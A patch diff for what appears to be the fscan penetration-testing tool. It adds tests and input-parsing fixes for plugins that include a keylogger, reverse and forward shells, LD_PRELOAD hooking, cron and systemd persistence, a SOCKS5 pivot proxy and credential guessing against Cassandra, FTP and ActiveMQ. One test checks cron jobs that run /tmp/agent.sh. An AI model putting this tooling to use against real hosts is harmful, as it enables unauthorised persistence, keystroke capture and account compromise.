@@ -715,4 +730,3 @@ func TestResultSummaryJSON(t *testing.T) {
|
||||
t.Fatalf("round-trip failed: %#v", decoded)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
@@ -23,6 +24,122 @@ init_test.go - 插件系统核心逻辑测试
|
||||
// GenerateCredentials - 核心凭据生成逻辑
|
||||
// =============================================================================
|
||||
|
||||
func preservePluginRegistry(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
mutex.RLock()
|
||||
snapshot := make(map[string]*PluginInfo, len(plugins))
|
||||
for name, info := range plugins {
|
||||
copied := *info
|
||||
copied.ports = append([]int(nil), info.ports...)
|
||||
copied.types = append([]string(nil), info.types...)
|
||||
snapshot[name] = &copied
|
||||
}
|
||||
mutex.RUnlock()
|
||||
|
||||
t.Cleanup(func() {
|
||||
mutex.Lock()
|
||||
plugins = snapshot
|
||||
mutex.Unlock()
|
||||
})
|
||||
}
|
||||
|
||||
type testPlugin struct {
|
||||
BasePlugin
|
||||
}
|
||||
|
||||
func (p testPlugin) Scan(context.Context, *common.HostInfo, *common.ScanSession) *Result {
|
||||
return &Result{Type: ResultTypeService, Success: true}
|
||||
}
|
||||
|
||||
func TestPluginRegistryMetadata(t *testing.T) {
|
||||
preservePluginRegistry(t)
|
||||
|
||||
RegisterWithPorts("unit_tcp", func() Plugin {
|
||||
return testPlugin{BasePlugin: NewBasePlugin("unit_tcp")}
|
||||
}, []int{1234, 5678})
|
||||
RegisterUDPWithPorts("unit_udp", func() Plugin {
|
||||
return testPlugin{BasePlugin: NewBasePlugin("unit_udp")}
|
||||
}, []int{161})
|
||||
RegisterWithTypes("unit_local", func() Plugin {
|
||||
return testPlugin{BasePlugin: NewBasePlugin("unit_local")}
|
||||
}, nil, []string{PluginTypeLocal})
|
||||
RegisterUnsafeWithTypes("unit_unsafe_web", func() Plugin {
|
||||
return testPlugin{BasePlugin: NewBasePlugin("unit_unsafe_web")}
|
||||
}, nil, []string{PluginTypeWeb})
|
||||
|
||||
if !Exists("unit_tcp") || Exists("missing_plugin") {
|
||||
t.Fatal("Exists returned wrong result")
|
||||
}
|
||||
if got := Get("unit_tcp"); got == nil || got.Name() != "unit_tcp" {
|
||||
t.Fatalf("Get(unit_tcp) = %#v", got)
|
||||
}
|
||||
if got := Get("missing_plugin"); got != nil {
|
||||
t.Fatalf("Get(missing_plugin) = %#v, want nil", got)
|
||||
}
|
||||
if !HasType("unit_tcp", PluginTypeService) || !HasType("unit_local", PluginTypeLocal) {
|
||||
t.Fatal("registered plugin types were not recorded")
|
||||
}
|
||||
if !IsUDP("unit_udp") || IsUDP("unit_tcp") {
|
||||
t.Fatal("UDP metadata is wrong")
|
||||
}
|
||||
if !IsSafe("unit_tcp") || IsSafe("unit_local") || IsSafe("unit_unsafe_web") || IsSafe("missing_plugin") {
|
||||
t.Fatal("safe metadata is wrong")
|
||||
}
|
||||
|
||||
ports := GetPluginPorts("unit_tcp")
|
||||
if len(ports) != 2 || ports[0] != 1234 || ports[1] != 5678 {
|
||||
t.Fatalf("ports = %#v", ports)
|
||||
}
|
||||
if got := GetPluginPorts("missing_plugin"); len(got) != 0 {
|
||||
t.Fatalf("missing plugin ports = %#v, want empty", got)
|
||||
}
|
||||
if !hasPluginType([]string{PluginTypeWeb, PluginTypeLocal}, PluginTypeLocal) ||
|
||||
hasPluginType([]string{PluginTypeWeb}, PluginTypeUDP) {
|
||||
t.Fatal("hasPluginType returned wrong result")
|
||||
}
|
||||
|
||||
names := All()
|
||||
for _, want := range []string{"unit_tcp", "unit_udp", "unit_local", "unit_unsafe_web"} {
|
||||
if !containsPluginName(names, want) {
|
||||
t.Fatalf("All() missing %q in %#v", want, names)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPluginLocalModeHook(t *testing.T) {
|
||||
preservePluginRegistry(t)
|
||||
|
||||
RegisterWithTypes("unit_local_mode", func() Plugin {
|
||||
return testPlugin{BasePlugin: NewBasePlugin("unit_local_mode")}
|
||||
}, nil, []string{PluginTypeLocal})
|
||||
RegisterWithPorts("unit_service_mode", func() Plugin {
|
||||
return testPlugin{BasePlugin: NewBasePlugin("unit_service_mode")}
|
||||
}, []int{22})
|
||||
|
||||
if common.IsLocalMode == nil {
|
||||
t.Fatal("IsLocalMode hook should be installed")
|
||||
}
|
||||
if !common.IsLocalMode("unit_local_mode") {
|
||||
t.Fatal("single local plugin should be local mode")
|
||||
}
|
||||
if !common.IsLocalMode("unit_local_mode, unit_local_mode") {
|
||||
t.Fatal("local plugin list should be local mode")
|
||||
}
|
||||
if common.IsLocalMode("") || common.IsLocalMode("all") || common.IsLocalMode("unit_local_mode,unit_service_mode") {
|
||||
t.Fatal("non-local modes should not be local mode")
|
||||
}
|
||||
}
|
||||
|
||||
func containsPluginName(values []string, want string) bool {
|
||||
for _, value := range values {
|
||||
if value == want {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func TestGenerateCredentials_UserPassPairs_Priority(t *testing.T) {
|
||||
/*
|
||||
关键测试:UserPassPairs 应该优先于笛卡尔积
|
||||
|
||||
@@ -0,0 +1,152 @@
|
||||
//go:build linux && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func TestLocalPluginConstructors(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
got Plugin
|
||||
}{
|
||||
{name: "cleaner", got: NewCleanerPlugin()},
|
||||
{name: "crontask", got: NewCronTaskPlugin()},
|
||||
{name: "forwardshell", got: NewForwardShellPlugin()},
|
||||
{name: "keylogger", got: NewKeyloggerPlugin()},
|
||||
{name: "ldpreload", got: NewLDPreloadPlugin()},
|
||||
{name: "reverseshell", got: NewReverseShellPlugin()},
|
||||
{name: "socks5proxy", got: NewSocks5ProxyPlugin()},
|
||||
{name: "sshkey", got: NewSSHKeyPlugin()},
|
||||
{name: "systemdservice", got: NewSystemdServicePlugin()},
|
||||
{name: "systeminfo", got: NewSystemInfoPlugin()},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if tt.got == nil {
|
||||
t.Fatal("constructor returned nil")
|
||||
}
|
||||
if got := tt.got.Name(); got != tt.name {
|
||||
t.Fatalf("Name() = %q, want %q", got, tt.name)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCronTaskScriptDetectionAndJobs(t *testing.T) {
|
||||
plugin := NewCronTaskPlugin()
|
||||
for _, name := range []string{"agent.sh", "agent.bash", "agent.zsh"} {
|
||||
plugin.targetFile = name
|
||||
if !plugin.isScriptFile() {
|
||||
t.Fatalf("%s should be treated as script", name)
|
||||
}
|
||||
}
|
||||
|
||||
plugin.targetFile = "agent.bin"
|
||||
if plugin.isScriptFile() {
|
||||
t.Fatal("binary target should not be treated as script")
|
||||
}
|
||||
|
||||
plugin.targetFile = "agent.sh"
|
||||
jobs := plugin.generateCronJobs("/tmp/agent.sh")
|
||||
if len(jobs) != 4 {
|
||||
t.Fatalf("job count = %d, want 4", len(jobs))
|
||||
}
|
||||
for _, job := range jobs {
|
||||
if !strings.Contains(job, "bash /tmp/agent.sh >/dev/null 2>&1") {
|
||||
t.Fatalf("script cron job missing bash wrapper: %q", job)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLDPreloadValidFileDetection(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
plugin := NewLDPreloadPlugin()
|
||||
|
||||
soPath := filepath.Join(dir, "libhook.so")
|
||||
if err := os.WriteFile(soPath, []byte("not actually elf"), 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !plugin.isValidFile(soPath) {
|
||||
t.Fatal(".so file should be accepted by extension")
|
||||
}
|
||||
|
||||
elfPath := filepath.Join(dir, "payload.bin")
|
||||
if err := os.WriteFile(elfPath, []byte{0x7f, 'E', 'L', 'F', 0x02}, 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !plugin.isValidFile(elfPath) {
|
||||
t.Fatal("ELF magic file should be accepted")
|
||||
}
|
||||
|
||||
textPath := filepath.Join(dir, "payload.txt")
|
||||
if err := os.WriteFile(textPath, []byte("plain text"), 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plugin.isValidFile(textPath) {
|
||||
t.Fatal("plain text file should not be accepted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestKeyloggerBufferAndFileHelpers(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "keys.log")
|
||||
session := common.NewScanSession(common.NewConfig(), common.NewState(), &common.FlagVars{})
|
||||
plugin := NewKeyloggerPlugin()
|
||||
|
||||
if err := plugin.checkOutputFilePermissions(path); err != nil {
|
||||
t.Fatalf("checkOutputFilePermissions error = %v", err)
|
||||
}
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
t.Fatalf("output file was not created: %v", err)
|
||||
}
|
||||
|
||||
if err := plugin.saveKeysToFile(path, session); err != nil {
|
||||
t.Fatalf("save empty keys error = %v", err)
|
||||
}
|
||||
|
||||
plugin.addKeyToBuffer("A")
|
||||
plugin.addKeyToBuffer("B")
|
||||
if len(plugin.keyBuffer) != 2 {
|
||||
t.Fatalf("key buffer length = %d, want 2", len(plugin.keyBuffer))
|
||||
}
|
||||
if err := plugin.saveKeysToFile(path, session); err != nil {
|
||||
t.Fatalf("save keys error = %v", err)
|
||||
}
|
||||
content, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(string(content), "A") || !strings.Contains(string(content), "B") {
|
||||
t.Fatalf("saved key log missing entries: %q", content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShellUtilityHelpers(t *testing.T) {
|
||||
prompt := NewForwardShellPlugin().getPrompt()
|
||||
if !strings.HasSuffix(prompt, "$ ") && !strings.HasSuffix(prompt, "> ") && !strings.HasSuffix(prompt, "# ") {
|
||||
t.Fatalf("unexpected prompt suffix: %q", prompt)
|
||||
}
|
||||
|
||||
if dir := getCurrentDir(); dir == "" || dir == "unknown" {
|
||||
t.Fatalf("getCurrentDir() = %q", dir)
|
||||
}
|
||||
|
||||
pub, priv, err := NewSSHKeyPlugin().generateKeyPair()
|
||||
if err != nil {
|
||||
t.Fatalf("generateKeyPair error = %v", err)
|
||||
}
|
||||
if !strings.HasPrefix(pub, "ssh-ed25519 ") {
|
||||
t.Fatalf("public key should be ssh-ed25519, got %q", pub)
|
||||
}
|
||||
if !strings.Contains(priv, "OPENSSH PRIVATE KEY") {
|
||||
t.Fatal("private key should be OpenSSH PEM")
|
||||
}
|
||||
}
|
||||
@@ -160,21 +160,26 @@ func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Con
|
||||
|
||||
// handleSocks5Handshake 处理SOCKS5握手
|
||||
func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
|
||||
// 读取客户端握手请求
|
||||
buffer := make([]byte, 256)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil {
|
||||
header := make([]byte, 2)
|
||||
if _, err := io.ReadFull(conn, header); err != nil {
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err)
|
||||
}
|
||||
|
||||
if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5
|
||||
if header[0] != 0x05 || header[1] == 0 {
|
||||
return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version"))
|
||||
}
|
||||
methods := make([]byte, int(header[1]))
|
||||
if _, err := io.ReadFull(conn, methods); err != nil {
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err)
|
||||
}
|
||||
if !containsByte(methods, 0x00) {
|
||||
_, _ = conn.Write([]byte{0x05, 0xff})
|
||||
return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version"))
|
||||
}
|
||||
|
||||
// 发送握手响应(无认证)
|
||||
response := []byte{0x05, 0x00} // 版本5,无认证
|
||||
_, err = conn.Write(response)
|
||||
if err != nil {
|
||||
if _, err := conn.Write(response); err != nil {
|
||||
return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_write_failed"), err)
|
||||
}
|
||||
|
||||
@@ -183,18 +188,16 @@ func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
|
||||
|
||||
// handleSocks5Request 处理SOCKS5连接请求
|
||||
func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *common.ScanSession) (net.Conn, int, error) {
|
||||
// 读取连接请求
|
||||
buffer := make([]byte, 256)
|
||||
n, err := clientConn.Read(buffer)
|
||||
if err != nil {
|
||||
header := make([]byte, 4)
|
||||
if _, err := io.ReadFull(clientConn, header); err != nil {
|
||||
return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_request_read_failed"), err)
|
||||
}
|
||||
|
||||
if n < 7 || buffer[0] != 0x05 {
|
||||
if header[0] != 0x05 || header[2] != 0x00 {
|
||||
return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request"))
|
||||
}
|
||||
|
||||
cmd := buffer[1]
|
||||
cmd := header[1]
|
||||
if cmd != 0x01 { // 只支持CONNECT命令
|
||||
// 发送不支持的命令响应
|
||||
response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
@@ -203,40 +206,50 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *co
|
||||
}
|
||||
|
||||
// 解析目标地址
|
||||
addrType := buffer[3]
|
||||
addrType := header[3]
|
||||
var targetHost string
|
||||
var targetPort int
|
||||
|
||||
switch addrType {
|
||||
case 0x01: // IPv4
|
||||
if n < 10 {
|
||||
addr := make([]byte, 6)
|
||||
if _, err := io.ReadFull(clientConn, addr); err != nil {
|
||||
return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv4_address_invalid"))
|
||||
}
|
||||
targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7])
|
||||
targetPort = int(buffer[8])<<8 + int(buffer[9])
|
||||
targetHost = fmt.Sprintf("%d.%d.%d.%d", addr[0], addr[1], addr[2], addr[3])
|
||||
targetPort = int(addr[4])<<8 + int(addr[5])
|
||||
case 0x03: // 域名
|
||||
if n < 5 {
|
||||
lenBuf := make([]byte, 1)
|
||||
if _, err := io.ReadFull(clientConn, lenBuf); err != nil {
|
||||
return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_format_invalid"))
|
||||
}
|
||||
domainLen := int(buffer[4])
|
||||
if n < 5+domainLen+2 {
|
||||
domainLen := int(lenBuf[0])
|
||||
if domainLen == 0 {
|
||||
return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid"))
|
||||
}
|
||||
targetHost = string(buffer[5 : 5+domainLen])
|
||||
targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1])
|
||||
addr := make([]byte, domainLen+2)
|
||||
if _, err := io.ReadFull(clientConn, addr); err != nil {
|
||||
return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid"))
|
||||
}
|
||||
targetHost = string(addr[:domainLen])
|
||||
targetPort = int(addr[domainLen])<<8 + int(addr[domainLen+1])
|
||||
case 0x04: // IPv6
|
||||
if n < 22 {
|
||||
addr := make([]byte, 18)
|
||||
if _, err := io.ReadFull(clientConn, addr); err != nil {
|
||||
return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv6_address_invalid"))
|
||||
}
|
||||
// IPv6地址解析(简化实现)
|
||||
targetHost = net.IP(buffer[4:20]).String()
|
||||
targetPort = int(buffer[20])<<8 + int(buffer[21])
|
||||
targetHost = net.IP(addr[:16]).String()
|
||||
targetPort = int(addr[16])<<8 + int(addr[17])
|
||||
default:
|
||||
// 发送不支持的地址类型响应
|
||||
response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
_, _ = clientConn.Write(response)
|
||||
return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_address_type")+": %d", addrType)
|
||||
}
|
||||
if targetPort == 0 {
|
||||
return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request"))
|
||||
}
|
||||
|
||||
// 连接目标服务器
|
||||
targetAddr := net.JoinHostPort(targetHost, strconv.Itoa(int(targetPort)))
|
||||
@@ -276,6 +289,15 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *co
|
||||
return targetConn, localPort, nil
|
||||
}
|
||||
|
||||
func containsByte(values []byte, target byte) bool {
|
||||
for _, value := range values {
|
||||
if value == target {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// relayData 双向数据转发
|
||||
func (p *Socks5ProxyPlugin) relayData(clientConn, targetConn net.Conn) {
|
||||
done := make(chan struct{}, 2)
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
//go:build (plugin_socks5proxy || !plugin_selective) && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"io"
|
||||
"net"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
type socksTestConn struct {
|
||||
r bytes.Reader
|
||||
w bytes.Buffer
|
||||
}
|
||||
|
||||
func newSocksTestConn(data []byte) *socksTestConn {
|
||||
return &socksTestConn{r: *bytes.NewReader(data)}
|
||||
}
|
||||
|
||||
func (c *socksTestConn) Read(p []byte) (int, error) {
|
||||
n, err := c.r.Read(p)
|
||||
if err == io.EOF && n > 0 {
|
||||
return n, nil
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
|
||||
func (c *socksTestConn) Write(p []byte) (int, error) { return c.w.Write(p) }
|
||||
func (c *socksTestConn) Close() error { return nil }
|
||||
func (c *socksTestConn) LocalAddr() net.Addr { return nil }
|
||||
func (c *socksTestConn) RemoteAddr() net.Addr { return nil }
|
||||
func (c *socksTestConn) SetDeadline(time.Time) error { return nil }
|
||||
func (c *socksTestConn) SetReadDeadline(time.Time) error {
|
||||
return nil
|
||||
}
|
||||
func (c *socksTestConn) SetWriteDeadline(time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestSocks5HandshakeValidation(t *testing.T) {
|
||||
p := NewSocks5ProxyPlugin()
|
||||
|
||||
t.Run("truncated methods", func(t *testing.T) {
|
||||
conn := newSocksTestConn([]byte{0x05, 0x02, 0x00})
|
||||
if err := p.handleSocks5Handshake(conn); err == nil {
|
||||
t.Fatal("handleSocks5Handshake() error = nil, want truncated method list error")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("no no-auth method", func(t *testing.T) {
|
||||
conn := newSocksTestConn([]byte{0x05, 0x01, 0x02})
|
||||
if err := p.handleSocks5Handshake(conn); err == nil {
|
||||
t.Fatal("handleSocks5Handshake() error = nil, want unsupported method error")
|
||||
}
|
||||
if got := conn.w.Bytes(); !bytes.Equal(got, []byte{0x05, 0xff}) {
|
||||
t.Fatalf("handshake response = % x, want 05 ff", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("accepts no-auth", func(t *testing.T) {
|
||||
conn := newSocksTestConn([]byte{0x05, 0x02, 0x02, 0x00})
|
||||
if err := p.handleSocks5Handshake(conn); err != nil {
|
||||
t.Fatalf("handleSocks5Handshake() error = %v", err)
|
||||
}
|
||||
if got := conn.w.Bytes(); !bytes.Equal(got, []byte{0x05, 0x00}) {
|
||||
t.Fatalf("handshake response = % x, want 05 00", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestSocks5RequestRejectsMalformedInputBeforeDial(t *testing.T) {
|
||||
p := NewSocks5ProxyPlugin()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
req []byte
|
||||
}{
|
||||
{name: "bad reserved byte", req: []byte{0x05, 0x01, 0x01, 0x01}},
|
||||
{name: "empty domain", req: []byte{0x05, 0x01, 0x00, 0x03, 0x00}},
|
||||
{name: "truncated domain", req: []byte{0x05, 0x01, 0x00, 0x03, 0x04, 't', 'e'}},
|
||||
{name: "zero ipv4 port", req: []byte{0x05, 0x01, 0x00, 0x01, 127, 0, 0, 1, 0, 0}},
|
||||
{name: "truncated ipv6", req: []byte{0x05, 0x01, 0x00, 0x04, 0x20, 0x01}},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if _, _, err := p.handleSocks5Request(newSocksTestConn(tt.req), nil); err == nil {
|
||||
t.Fatal("handleSocks5Request() error = nil, want malformed request error")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -158,6 +158,9 @@ func classifyActiveMQErrorType(err error) ErrorType {
|
||||
// authenticateSTOMP 使用STOMP协议认证ActiveMQ
|
||||
func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password string, config *common.Config) (bool, error) {
|
||||
timeout := config.Timeout
|
||||
if err := rejectLineBreaks(username, password); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00",
|
||||
username, password)
|
||||
|
||||
@@ -78,10 +78,12 @@ const (
|
||||
cqlOpStartup = 0x01
|
||||
cqlOpAuthRsp = 0x0f
|
||||
cqlOpQuery = 0x07
|
||||
cqlOpResult = 0x08
|
||||
cqlOpReady = 0x02
|
||||
cqlOpAuthOk = 0x10
|
||||
cqlOpAuthChl = 0x0e
|
||||
cqlOpError = 0x00
|
||||
maxCQLFrameBody = 1024 * 1024
|
||||
)
|
||||
|
||||
func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
@@ -157,8 +159,9 @@ func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.Host
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
|
||||
}
|
||||
_ = body
|
||||
_ = opcode
|
||||
if err := validateCQLQueryResponse(opcode, body); err != nil {
|
||||
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: err}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil}
|
||||
@@ -187,7 +190,7 @@ func cqlSend(conn net.Conn, opcode byte, body []byte) error {
|
||||
return err
|
||||
}
|
||||
|
||||
func cqlRecv(conn net.Conn) (byte, []byte, error) {
|
||||
func cqlRecv(conn io.Reader) (byte, []byte, error) {
|
||||
// 读取 9 字节头部(响应也有额外标志字节)
|
||||
header := make([]byte, 9)
|
||||
if _, err := io.ReadFull(conn, header); err != nil {
|
||||
@@ -195,8 +198,11 @@ func cqlRecv(conn net.Conn) (byte, []byte, error) {
|
||||
}
|
||||
opcode := header[4]
|
||||
bodyLen := int(binary.BigEndian.Uint32(header[5:9]))
|
||||
if bodyLen <= 0 || bodyLen > 1024*1024 {
|
||||
return opcode, nil, nil
|
||||
if bodyLen == 0 {
|
||||
return opcode, []byte{}, nil
|
||||
}
|
||||
if bodyLen > maxCQLFrameBody {
|
||||
return opcode, nil, fmt.Errorf("cassandra frame too large: %d", bodyLen)
|
||||
}
|
||||
body := make([]byte, bodyLen)
|
||||
if _, err := io.ReadFull(conn, body); err != nil {
|
||||
@@ -205,6 +211,16 @@ func cqlRecv(conn net.Conn) (byte, []byte, error) {
|
||||
return opcode, body, nil
|
||||
}
|
||||
|
||||
func validateCQLQueryResponse(opcode byte, body []byte) error {
|
||||
if opcode == cqlOpError {
|
||||
return fmt.Errorf("cassandra query failed: %s", string(body))
|
||||
}
|
||||
if opcode != cqlOpResult {
|
||||
return fmt.Errorf("unexpected query opcode: %d", opcode)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// cqlStringMap CQL string map 编码: [2B count] [pairs: [2B len] [str]]
|
||||
func cqlStringMap(m map[string]string) []byte {
|
||||
var buf []byte
|
||||
@@ -270,7 +286,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return nil
|
||||
}
|
||||
opcode, _, err := cqlRecv(conn)
|
||||
opcode, body, err := cqlRecv(conn)
|
||||
if err != nil || opcode != cqlOpReady {
|
||||
return nil
|
||||
}
|
||||
@@ -280,10 +296,13 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.
|
||||
if err := cqlSend(conn, cqlOpQuery, queryBody); err != nil {
|
||||
return nil
|
||||
}
|
||||
_, body, err := cqlRecv(conn)
|
||||
opcode, body, err = cqlRecv(conn)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if err := validateCQLQueryResponse(opcode, body); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
dummy := extractClusterName(body)
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
//go:build plugin_cassandra || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestCQLRecvRejectsTooLargeFrame(t *testing.T) {
|
||||
header := make([]byte, 9)
|
||||
header[4] = cqlOpReady
|
||||
binary.BigEndian.PutUint32(header[5:9], maxCQLFrameBody+1)
|
||||
|
||||
_, _, err := cqlRecv(bytes.NewReader(header))
|
||||
if err == nil {
|
||||
t.Fatal("cqlRecv() error = nil, want too-large frame error")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "too large") {
|
||||
t.Fatalf("cqlRecv() error = %v, want too large", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCQLRecvAllowsEmptyBody(t *testing.T) {
|
||||
header := make([]byte, 9)
|
||||
header[4] = cqlOpReady
|
||||
|
||||
opcode, body, err := cqlRecv(bytes.NewReader(header))
|
||||
if err != nil {
|
||||
t.Fatalf("cqlRecv() error = %v", err)
|
||||
}
|
||||
if opcode != cqlOpReady || len(body) != 0 {
|
||||
t.Fatalf("cqlRecv() opcode=%d body=%q, want ready empty body", opcode, body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateCQLQueryResponseRejectsErrors(t *testing.T) {
|
||||
if err := validateCQLQueryResponse(cqlOpResult, []byte("rows")); err != nil {
|
||||
t.Fatalf("validateCQLQueryResponse() error = %v", err)
|
||||
}
|
||||
if err := validateCQLQueryResponse(cqlOpError, []byte("permission denied")); err == nil {
|
||||
t.Fatal("validateCQLQueryResponse() error = nil, want query error")
|
||||
}
|
||||
if err := validateCQLQueryResponse(cqlOpReady, nil); err == nil {
|
||||
t.Fatal("validateCQLQueryResponse() error = nil, want unexpected opcode error")
|
||||
}
|
||||
}
|
||||
@@ -7,7 +7,6 @@ import (
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
@@ -107,7 +106,7 @@ func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.H
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
body, err := readServiceHTTPBody(resp.Body)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
+15
-5
@@ -6,6 +6,7 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
ftplib "github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
@@ -80,7 +81,7 @@ func (p *FTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config,
|
||||
func (p *FTPPlugin) doFTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout))
|
||||
conn, err := ftplib.Dial(target, ftpDialOptions(ctx, config.Timeout)...)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
@@ -91,6 +92,11 @@ func (p *FTPPlugin) doFTPAuth(ctx context.Context, info *common.HostInfo, cred C
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
stopCancelClose := context.AfterFunc(ctx, func() {
|
||||
_ = conn.Quit()
|
||||
})
|
||||
defer stopCancelClose()
|
||||
|
||||
err = conn.Login(cred.Username, cred.Password)
|
||||
if err != nil {
|
||||
_ = conn.Quit()
|
||||
@@ -118,6 +124,13 @@ func (w *ftpConnWrapper) Close() error {
|
||||
return w.Quit()
|
||||
}
|
||||
|
||||
func ftpDialOptions(ctx context.Context, timeout time.Duration) []ftplib.DialOption {
|
||||
return []ftplib.DialOption{
|
||||
ftplib.DialWithTimeout(timeout),
|
||||
ftplib.DialWithContext(ctx),
|
||||
}
|
||||
}
|
||||
|
||||
// classifyFTPErrorType FTP错误分类
|
||||
func classifyFTPErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
@@ -260,10 +273,7 @@ func (p *FTPPlugin) listFTPFiles(conn *ftplib.ServerConn) []string {
|
||||
}
